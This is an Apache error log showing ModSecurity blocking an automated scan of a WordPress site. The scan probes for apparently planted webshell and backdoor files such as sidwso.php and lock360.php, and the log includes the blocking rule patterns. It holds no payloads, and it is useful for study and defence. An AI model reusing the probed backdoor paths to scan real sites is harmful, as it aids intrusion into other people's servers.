[Mon Nov 24 14:48:13.676069 2025] [:error] [pid 16441:tid 16457] [client 181.215.65.67:32483] [client 181.215.65.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSP_rYq_bc5MOa9HflkB3gAAAI0"]
[Mon Nov 24 14:48:15.680535 2025] [:error] [pid 48601:tid 48679] [client 85.237.194.143:56305] [client 85.237.194.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSP_r4MM4MaVTk74-AaVuwAAAhY"]
[Mon Nov 24 14:48:17.766153 2025] [:error] [pid 16549:tid 16577] [client 104.234.32.2:51181] [client 104.234.32.2] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aSP_saeWW19A99PUw_cjrAAAAVg"]
[Mon Nov 24 14:48:19.087786 2025] [:error] [pid 9630:tid 9654] [client 85.237.194.110:55313] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Mon Nov 24 14:48:21.887917 2025] [:error] [pid 9630:tid 9638] [client 85.237.194.110:55313] [client 85.237.194.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.110, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSP_tSrSgUgPGkizt2rJzgAAAEY"]
[Mon Nov 24 14:48:22.573981 2025] [:error] [pid 9630:tid 9649] [client 85.237.194.110:55313] [client 85.237.194.110] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSP_tirSgUgPGkizt2rJzwAAAFE"]
[Mon Nov 24 14:48:26.378386 2025] [:error] [pid 48599:tid 48623] [client 85.237.194.119:28571] File does not exist: /usr/local/apache/htdocs/suspended-page/header.php
[Mon Nov 24 14:48:27.088655 2025] [:error] [pid 48599:tid 48607] [client 85.237.194.119:28571] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Mon Nov 24 14:48:28.893071 2025] [:error] [pid 48599:tid 48613] [client 85.237.194.119:28571] [client 85.237.194.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSP_vJzvu6PDJiRKE3IK8QAAAYo"]
[Mon Nov 24 14:48:30.362926 2025] [:error] [pid 16441:tid 16452] [client 85.237.194.104:45987] [client 85.237.194.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSP_voq_bc5MOa9HflkB6gAAAIg"]
[Mon Nov 24 14:48:31.769808 2025] [:error] [pid 16441:tid 16464] [client 85.237.194.145:49295] File does not exist: /usr/local/apache/htdocs/suspended-page/bk.php
[Mon Nov 24 14:48:34.607602 2025] [:error] [pid 16441:tid 16468] [client 85.237.194.145:49295] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/moon.php
[Mon Nov 24 14:48:36.781400 2025] [:error] [pid 16441:tid 16449] [client 85.237.194.145:49295] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/dropdown.php
[Mon Nov 24 14:48:37.482954 2025] [:error] [pid 16441:tid 16460] [client 85.237.194.145:49295] [client 85.237.194.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSP_xYq_bc5MOa9HflkB-AAAAJA"]
[Mon Nov 24 14:48:38.962008 2025] [:error] [pid 48600:tid 48643] [client 85.237.194.100:62775] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 24 14:48:39.768387 2025] [:error] [pid 48600:tid 48648] [client 85.237.194.100:62775] File does not exist: /usr/local/apache/htdocs/suspended-page/sym.php
[Mon Nov 24 14:48:41.170447 2025] [:error] [pid 48600:tid 48640] [client 85.237.194.100:62775] [client 85.237.194.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aSP_yftOzSUAQvWVjBdlMQAAAco"]
[Mon Nov 24 14:48:45.270141 2025] [:error] [pid 48600:tid 48632] [client 181.215.65.65:24453] File does not exist: /usr/local/apache/htdocs/suspended-page/sk.php
[Mon Nov 24 14:48:46.593670 2025] [:error] [pid 48600:tid 48642] [client 181.215.65.65:24453] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/blurbs.php
[Mon Nov 24 14:48:48.074566 2025] [:error] [pid 48600:tid 48638] [client 181.215.65.65:24453] [client 181.215.65.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aSP_0PtOzSUAQvWVjBdlPAAAAcg"]
[Mon Nov 24 14:48:52.077422 2025] [:error] [pid 48688:tid 48701] [client 85.237.194.121:56709] [client 85.237.194.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aSP_1Bm2q1FkzLam7A2CqgAAAkk"]
[Mon Nov 24 14:48:55.484526 2025] [:error] [pid 16593:tid 16603] [client 85.237.194.122:24107] File does not exist: /usr/local/apache/htdocs/suspended-page/sys.php
[Mon Nov 24 14:48:57.981996 2025] [:error] [pid 16593:tid 16611] [client 85.237.194.122:24107] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-user.php
[Mon Nov 24 14:48:58.695258 2025] [:error] [pid 16593:tid 16605] [client 85.237.194.122:24107] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Mon Nov 24 14:48:59.402583 2025] [:error] [pid 16593:tid 16615] [client 85.237.194.122:24107] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Mon Nov 24 14:49:00.077202 2025] [:error] [pid 16593:tid 16612] [client 85.237.194.122:24107] [client 85.237.194.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aSP_3BVGznHBJI2LKpQlxwAAApE"]
[Mon Nov 24 14:49:01.476877 2025] [:error] [pid 16593:tid 16604] [client 85.237.194.106:50293] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/doc.php
[Mon Nov 24 14:49:02.192322 2025] [:error] [pid 16593:tid 16619] [client 85.237.194.106:50293] File does not exist: /usr/local/apache/htdocs/suspended-page/fm1.php
[Mon Nov 24 14:49:04.096575 2025] [:error] [pid 16593:tid 16602] [client 85.237.194.106:50293] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-settings.php
[Mon Nov 24 14:49:04.770042 2025] [:error] [pid 16593:tid 16598] [client 85.237.194.106:50293] [client 85.237.194.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSP_4BVGznHBJI2LKpQlzQAAAoM"]
[Mon Nov 24 14:49:07.165022 2025] [:error] [pid 9630:tid 9656] [client 85.237.194.122:28331] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-file.php
[Mon Nov 24 14:49:07.901307 2025] [:error] [pid 9630:tid 9650] [client 85.237.194.122:28331] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Mon Nov 24 14:49:09.277582 2025] [:error] [pid 9630:tid 9640] [client 85.237.194.122:28331] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php
[Mon Nov 24 14:49:10.601185 2025] [:error] [pid 9630:tid 9644] [client 85.237.194.122:28331] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi01.php
[Mon Nov 24 14:49:12.587386 2025] [:error] [pid 9630:tid 9656] [client 85.237.194.122:28331] [client 85.237.194.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aSP_6CrSgUgPGkizt2rJ-wAAAFg"]
[Mon Nov 24 14:49:17.976004 2025] [:error] [pid 48600:tid 48641] [client 85.237.194.134:35309] [client 85.237.194.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.134, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aSP_7ftOzSUAQvWVjBdlSQAAAcs"]
[Mon Nov 24 14:49:18.683690 2025] [:error] [pid 48600:tid 48636] [client 85.237.194.134:35309] [client 85.237.194.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.134, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSP_7vtOzSUAQvWVjBdlSgAAAcY"]
[Mon Nov 24 14:49:19.381460 2025] [:error] [pid 48600:tid 48638] [client 85.237.194.134:35309] [client 85.237.194.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aSP_7_tOzSUAQvWVjBdlSwAAAcg"]
[Mon Nov 24 14:49:20.768697 2025] [:error] [pid 48599:tid 48603] [client 181.215.65.76:28321] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Mon Nov 24 14:49:26.368487 2025] [:error] [pid 48599:tid 48609] [client 181.215.65.76:28321] [client 181.215.65.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSP_9pzvu6PDJiRKE3ILBwAAAYY"]
[Mon Nov 24 14:49:27.784357 2025] [:error] [pid 9630:tid 9637] [client 181.215.65.73:61471] File does not exist: /usr/local/apache/htdocs/suspended-page/images.php
[Mon Nov 24 14:49:28.473113 2025] [:error] [pid 9630:tid 9651] [client 181.215.65.73:61471] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-aespa.php
[Mon Nov 24 14:49:29.943433 2025] [:error] [pid 9630:tid 9651] [client 181.215.65.73:61471] [client 181.215.65.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSP_-SrSgUgPGkizt2rKCAAAAFM"]
[Mon Nov 24 14:49:38.671835 2025] [:error] [pid 16441:tid 16458] [client 85.237.194.158:28227] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/mariju.php
[Mon Nov 24 14:49:40.595823 2025] [:error] [pid 16441:tid 16462] [client 85.237.194.158:28227] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/themes.php
[Mon Nov 24 14:49:41.977065 2025] [:error] [pid 16441:tid 16465] [client 85.237.194.158:28227] [client 85.237.194.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSQABYq_bc5MOa9HflkCMAAAAJU"]
[Mon Nov 24 14:49:43.356235 2025] [:error] [pid 16441:tid 16456] [client 85.237.194.100:60345] [client 85.237.194.100] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aSQAB4q_bc5MOa9HflkCMQAAAIw"]
[Mon Nov 24 14:49:47.987950 2025] [:error] [pid 16441:tid 16454] [client 85.237.194.71:65475] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Mon Nov 24 14:49:50.082599 2025] [:error] [pid 16441:tid 16458] [client 85.237.194.71:65475] [client 85.237.194.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.237.194.71, incrementing brute counter"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aSQADoq_bc5MOa9HflkCPAAAAI4"]
[Mon Nov 24 14:49:52.783463 2025] [:error] [pid 16441:tid 16457] [client 85.237.194.71:65475] [client 85.237.194.71] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aSQAEIq_bc5MOa9HflkCQwAAAI0"]
[Mon Nov 24 14:49:54.280246 2025] [:error] [pid 16516:tid 16541] [client 104.234.32.3:54163] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php
[Mon Nov 24 14:49:54.975442 2025] [:error] [pid 16516:tid 16542] [client 104.234.32.3:54163] [client 104.234.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aSQAEvqZbniwaNwL8XnP7AAAARc"]
[Mon Nov 24 14:49:56.285410 2025] [:error] [pid 16549:tid 16552] [client 85.237.194.96:37737] [client 85.237.194.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSQAFKeWW19A99PUw_cj1wAAAUA"]
[Mon Nov 24 14:49:58.295463 2025] [:error] [pid 16516:tid 16525] [client 85.237.194.120:47859] [client 85.237.194.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSQAFvqZbniwaNwL8XnP8AAAAQY"]
[Mon Nov 24 14:50:03.603760 2025] [:error] [pid 16549:tid 16555] [client 104.234.32.3:38243] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/parx.php
[Mon Nov 24 14:50:05.702950 2025] [:error] [pid 16549:tid 16574] [client 104.234.32.3:38243] [client 104.234.32.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aSQAHaeWW19A99PUw_cj_gAAAVU"]
[Mon Nov 24 14:50:07.691761 2025] [:error] [pid 16593:tid 16598] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php
[Mon Nov 24 14:50:08.387058 2025] [:error] [pid 16593:tid 16609] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/0x.php
[Mon Nov 24 14:50:12.072285 2025] [:error] [pid 16593:tid 16599] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/wpn.php
[Mon Nov 24 14:50:12.771109 2025] [:error] [pid 16593:tid 16601] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/cloud.php
[Mon Nov 24 14:50:13.484571 2025] [:error] [pid 16593:tid 16605] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/upload.php
[Mon Nov 24 14:50:14.080167 2025] [:error] [pid 16593:tid 16615] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Mon Nov 24 14:50:15.572781 2025] [:error] [pid 16593:tid 16604] [client 85.237.194.86:27941] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Mon Nov 24 14:50:18.774071 2025] [:error] [pid 16593:tid 16609] [client 85.237.194.86:27941] [client 85.237.194.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aSQAKhVGznHBJI2LKpQmEwAAAo4"]
[Mon Nov 24 14:50:20.901028 2025] [:error] [pid 9630:tid 9643] [client 85.237.194.87:29605] File does not exist: /usr/local/apache/htdocs/suspended-page/payout.php
[Mon Nov 24 14:50:21.588165 2025] [:error] [pid 9630:tid 9646] [client 85.237.194.87:29605] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Mon Nov 24 14:50:22.292135 2025] [:error] [pid 9630:tid 9647] [client 85.237.194.87:29605] File does not exist: /usr/local/apache/htdocs/suspended-page/x.php
[Mon Nov 24 14:50:22.983654 2025] [:error] [pid 9630:tid 9636] [client 85.237.194.87:29605] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_info.php
[Mon Nov 24 14:50:24.377033 2025] [:error] [pid 9630:tid 9641] [client 85.237.194.87:29605] File does not exist: /usr/local/apache/htdocs/suspended-page/xml.php
[Mon Nov 24 14:50:25.176192 2025] [:error] [pid 9630:tid 9643] [client 85.237.194.87:29605] File does not exist: /usr/local/apache/htdocs/suspended-page/by.php
[Mon Nov 24 14:50:27.584224 2025] [:error] [pid 9630:tid 9632] [client 85.237.194.87:29605] [client 85.237.194.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aSQAMyrSgUgPGkizt2rKiAAAAEA"]
[Mon Nov 24 14:50:34.691070 2025] [:error] [pid 9630:tid 9643] [client 181.215.65.75:20335] [client 181.215.65.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSQAOirSgUgPGkizt2rKkAAAAEs"]
[Mon Nov 24 14:50:36.786666 2025] [:error] [pid 9630:tid 9632] [client 85.237.194.60:51849] [client 85.237.194.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aSQAPCrSgUgPGkizt2rKkgAAAEA"]
[Mon Nov 24 14:50:38.162348 2025] [:error] [pid 16441:tid 16453] [client 181.215.65.72:48495] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Mon Nov 24 14:50:38.875324 2025] [:error] [pid 16441:tid 16450] [client 181.215.65.72:48495] File does not exist: /usr/local/apache/htdocs/suspended-page/fox.php
[Mon Nov 24 14:50:39.573132 2025] [:error] [pid 16441:tid 16448] [client 181.215.65.72:48495] File does not exist: /usr/local/apache/htdocs/suspended-page/google.php
[Mon Nov 24 14:50:40.881239 2025] [:error] [pid 16441:tid 16465] [client 181.215.65.72:48495] File does not exist: /usr/local/apache/htdocs/suspended-page/ovatools.php
[Mon Nov 24 14:50:41.481324 2025] [:error] [pid 16441:tid 16447] [client 181.215.65.72:48495] File does not exist: /usr/local/apache/htdocs/suspended-page/sidwso.php
[Mon Nov 24 14:50:42.191962 2025] [:error] [pid 16441:tid 16455] [client 181.215.65.72:48495] File does not exist: /usr/local/apache/htdocs/suspended-page/worksec.php
[Mon Nov 24 14:50:42.874079 2025] [:error] [pid 16441:tid 16458] [client 181.215.65.72:48495] [client 181.215.65.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aSQAQoq_bc5MOa9HflkCvgAAAI4"]
[Mon Nov 24 14:50:44.260752 2025] [:error] [pid 9630:tid 9641] [client 85.237.194.86:23951] [client 85.237.194.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSQARCrSgUgPGkizt2rKsgAAAEk"]
[Mon Nov 24 14:50:46.975276 2025] [:error] [pid 16441:tid 16446] [client 85.237.194.119:28321] [client 85.237.194.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aSQARoq_bc5MOa9HflkCzwAAAII"]
[Mon Nov 24 14:50:49.083746 2025] [:error] [pid 16593:tid 16618] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/Simple.php
[Mon Nov 24 14:50:49.692423 2025] [:error] [pid 16593:tid 16619] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php
[Mon Nov 24 14:50:50.373523 2025] [:error] [pid 16593:tid 16610] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/style2.php
[Mon Nov 24 14:50:51.091150 2025] [:error] [pid 16593:tid 16607] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-scripts.php
[Mon Nov 24 14:50:51.695939 2025] [:error] [pid 16593:tid 16595] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Mon Nov 24 14:50:52.386302 2025] [:error] [pid 16593:tid 16608] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/cjfuns.php
[Mon Nov 24 14:50:53.089990 2025] [:error] [pid 16593:tid 16609] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/comfunctions.php
[Mon Nov 24 14:50:53.690400 2025] [:error] [pid 16593:tid 16606] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Mon Nov 24 14:50:55.293477 2025] [:error] [pid 16593:tid 16596] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/epinyins.php
[Mon Nov 24 14:50:56.083624 2025] [:error] [pid 16593:tid 16614] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Mon Nov 24 14:50:56.778874 2025] [:error] [pid 16593:tid 16601] [client 181.215.65.65:28721] File does not exist: /usr/local/apache/htdocs/suspended-page/hinfofuns.php
